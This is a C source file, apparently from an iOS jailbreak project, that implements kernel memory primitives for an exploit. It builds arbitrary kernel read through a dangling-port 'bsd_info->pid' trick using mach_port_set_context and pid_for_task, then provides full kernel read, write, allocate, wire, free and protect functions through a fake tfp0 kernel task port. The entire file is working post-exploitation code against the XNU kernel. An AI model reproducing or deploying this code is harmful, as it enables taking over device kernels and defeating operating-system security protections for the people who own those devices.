310 lines
7.9 KiB
C
310 lines
7.9 KiB
C
#include <mach/mach.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
|
|
#include "kmem.h"
|
|
#include "kutils.h"
|
|
#include "common.h"
|
|
|
|
#include <CoreFoundation/CoreFoundation.h>
|
|
extern void NSLog(CFStringRef, ...);
|
|
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
|
|
|
|
// the exploit bootstraps the full kernel memory read/write with a fake
|
|
// task which just allows reading via the bsd_info->pid trick
|
|
// this first port is kmem_read_port
|
|
mach_port_t kmem_read_port = MACH_PORT_NULL;
|
|
void prepare_rk_via_kmem_read_port(mach_port_t port)
|
|
{
|
|
kmem_read_port = port;
|
|
}
|
|
|
|
mach_port_t tfp0 = MACH_PORT_NULL;
|
|
void prepare_rwk_via_tfp0(mach_port_t port)
|
|
{
|
|
tfp0 = port;
|
|
}
|
|
|
|
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0)
|
|
{
|
|
tfp0 = fake_tfp0;
|
|
}
|
|
|
|
bool have_kmem_read()
|
|
{
|
|
return (kmem_read_port != MACH_PORT_NULL) || (tfp0 != MACH_PORT_NULL);
|
|
}
|
|
|
|
bool have_kmem_write()
|
|
{
|
|
return (tfp0 != MACH_PORT_NULL);
|
|
}
|
|
|
|
size_t kread(uint64_t where, void* p, size_t size)
|
|
{
|
|
int rv;
|
|
size_t offset = 0;
|
|
while (offset < size) {
|
|
mach_vm_size_t sz, chunk = 2048;
|
|
if (chunk > size - offset) {
|
|
chunk = size - offset;
|
|
}
|
|
rv = mach_vm_read_overwrite(tfp0,
|
|
where + offset,
|
|
chunk,
|
|
(mach_vm_address_t)p + offset,
|
|
&sz);
|
|
if (rv || sz == 0) {
|
|
LOG("error reading kernel @%p", (void*)(offset + where));
|
|
break;
|
|
}
|
|
offset += sz;
|
|
}
|
|
return offset;
|
|
}
|
|
|
|
size_t kwrite(uint64_t where, const void* p, size_t size)
|
|
{
|
|
int rv;
|
|
size_t offset = 0;
|
|
while (offset < size) {
|
|
size_t chunk = 2048;
|
|
if (chunk > size - offset) {
|
|
chunk = size - offset;
|
|
}
|
|
rv = mach_vm_write(tfp0,
|
|
where + offset,
|
|
(mach_vm_offset_t)p + offset,
|
|
(mach_msg_type_number_t)chunk);
|
|
if (rv) {
|
|
LOG("error writing kernel @%p", (void*)(offset + where));
|
|
break;
|
|
}
|
|
offset += chunk;
|
|
}
|
|
return offset;
|
|
}
|
|
|
|
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length)
|
|
{
|
|
if (tfp0 == MACH_PORT_NULL) {
|
|
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
|
|
sleep(3);
|
|
return false;
|
|
}
|
|
|
|
return (kwrite(kaddr, buffer, length) == length);
|
|
}
|
|
|
|
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length)
|
|
{
|
|
return (kread(kaddr, buffer, length) == length);
|
|
}
|
|
|
|
void WriteKernel32(uint64_t kaddr, uint32_t val)
|
|
{
|
|
if (tfp0 == MACH_PORT_NULL) {
|
|
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
|
|
sleep(3);
|
|
return;
|
|
}
|
|
wkbuffer(kaddr, &val, sizeof(val));
|
|
}
|
|
|
|
void WriteKernel64(uint64_t kaddr, uint64_t val)
|
|
{
|
|
if (tfp0 == MACH_PORT_NULL) {
|
|
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
|
|
sleep(3);
|
|
return;
|
|
}
|
|
wkbuffer(kaddr, &val, sizeof(val));
|
|
}
|
|
|
|
uint32_t rk32_via_kmem_read_port(uint64_t kaddr)
|
|
{
|
|
kern_return_t err;
|
|
if (kmem_read_port == MACH_PORT_NULL) {
|
|
LOG("kmem_read_port not set, have you called prepare_rk?");
|
|
sleep(10);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
mach_port_context_t context = (mach_port_context_t)kaddr - 0x10;
|
|
err = mach_port_set_context(mach_task_self(), kmem_read_port, context);
|
|
if (err != KERN_SUCCESS) {
|
|
LOG("error setting context off of dangling port: %x %s", err, mach_error_string(err));
|
|
sleep(10);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
// now do the read:
|
|
uint32_t val = 0;
|
|
err = pid_for_task(kmem_read_port, (int*)&val);
|
|
if (err != KERN_SUCCESS) {
|
|
LOG("error calling pid_for_task %x %s", err, mach_error_string(err));
|
|
sleep(10);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
return val;
|
|
}
|
|
|
|
uint32_t rk32_via_tfp0(uint64_t kaddr)
|
|
{
|
|
uint32_t val = 0;
|
|
rkbuffer(kaddr, &val, sizeof(val));
|
|
return val;
|
|
}
|
|
|
|
uint64_t rk64_via_kmem_read_port(uint64_t kaddr)
|
|
{
|
|
uint64_t lower = rk32_via_kmem_read_port(kaddr);
|
|
uint64_t higher = rk32_via_kmem_read_port(kaddr + 4);
|
|
uint64_t full = ((higher << 32) | lower);
|
|
return full;
|
|
}
|
|
|
|
uint64_t rk64_via_tfp0(uint64_t kaddr)
|
|
{
|
|
uint64_t val = 0;
|
|
rkbuffer(kaddr, &val, sizeof(val));
|
|
return val;
|
|
}
|
|
|
|
uint32_t ReadKernel32(uint64_t kaddr)
|
|
{
|
|
if (tfp0 != MACH_PORT_NULL) {
|
|
return rk32_via_tfp0(kaddr);
|
|
}
|
|
|
|
if (kmem_read_port != MACH_PORT_NULL) {
|
|
return rk32_via_kmem_read_port(kaddr);
|
|
}
|
|
|
|
LOG("attempt to read kernel memory but no kernel memory read primitives available");
|
|
sleep(3);
|
|
|
|
return 0;
|
|
}
|
|
|
|
uint64_t ReadKernel64(uint64_t kaddr)
|
|
{
|
|
if (tfp0 != MACH_PORT_NULL) {
|
|
return rk64_via_tfp0(kaddr);
|
|
}
|
|
|
|
if (kmem_read_port != MACH_PORT_NULL) {
|
|
return rk64_via_kmem_read_port(kaddr);
|
|
}
|
|
|
|
LOG("attempt to read kernel memory but no kernel memory read primitives available");
|
|
sleep(3);
|
|
|
|
return 0;
|
|
}
|
|
|
|
const uint64_t kernel_addr_space_base = 0xffff000000000000;
|
|
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length)
|
|
{
|
|
if (dest >= kernel_addr_space_base) {
|
|
// copy to kernel:
|
|
wkbuffer(dest, (void*)src, length);
|
|
} else {
|
|
// copy from kernel
|
|
rkbuffer(src, (void*)dest, length);
|
|
}
|
|
}
|
|
|
|
uint64_t kmem_alloc(uint64_t size)
|
|
{
|
|
if (tfp0 == MACH_PORT_NULL) {
|
|
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
|
|
sleep(3);
|
|
return 0;
|
|
}
|
|
|
|
kern_return_t err;
|
|
mach_vm_address_t addr = 0;
|
|
mach_vm_size_t ksize = round_page_kernel(size);
|
|
err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE);
|
|
if (err != KERN_SUCCESS) {
|
|
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
|
sleep(3);
|
|
return 0;
|
|
}
|
|
return addr;
|
|
}
|
|
|
|
uint64_t kmem_alloc_wired(uint64_t size)
|
|
{
|
|
if (tfp0 == MACH_PORT_NULL) {
|
|
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
|
|
sleep(3);
|
|
return 0;
|
|
}
|
|
|
|
kern_return_t err;
|
|
mach_vm_address_t addr = 0;
|
|
mach_vm_size_t ksize = round_page_kernel(size);
|
|
|
|
LOG("vm_kernel_page_size: %lx", vm_kernel_page_size);
|
|
|
|
err = mach_vm_allocate(tfp0, &addr, ksize + 0x4000, VM_FLAGS_ANYWHERE);
|
|
if (err != KERN_SUCCESS) {
|
|
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
|
sleep(3);
|
|
return 0;
|
|
}
|
|
|
|
LOG("allocated address: %llx", addr);
|
|
|
|
addr += 0x3fff;
|
|
addr &= ~0x3fffull;
|
|
|
|
LOG("address to wire: %llx", addr);
|
|
|
|
err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ | VM_PROT_WRITE);
|
|
if (err != KERN_SUCCESS) {
|
|
LOG("unable to wire kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
|
sleep(3);
|
|
return 0;
|
|
}
|
|
return addr;
|
|
}
|
|
|
|
void kmem_free(uint64_t kaddr, uint64_t size)
|
|
{
|
|
if (tfp0 == MACH_PORT_NULL) {
|
|
LOG("attempt to deallocate kernel memory before any kernel memory write primitives available");
|
|
sleep(3);
|
|
return;
|
|
}
|
|
|
|
kern_return_t err;
|
|
mach_vm_size_t ksize = round_page_kernel(size);
|
|
err = mach_vm_deallocate(tfp0, kaddr, ksize);
|
|
if (err != KERN_SUCCESS) {
|
|
LOG("unable to deallocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
|
sleep(3);
|
|
return;
|
|
}
|
|
}
|
|
|
|
void kmem_protect(uint64_t kaddr, uint32_t size, int prot)
|
|
{
|
|
if (tfp0 == MACH_PORT_NULL) {
|
|
LOG("attempt to change protection of kernel memory before any kernel memory write primitives available");
|
|
sleep(3);
|
|
return;
|
|
}
|
|
kern_return_t err;
|
|
err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);
|
|
if (err != KERN_SUCCESS) {
|
|
LOG("unable to change protection of kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
|
sleep(3);
|
|
return;
|
|
}
|
|
}
|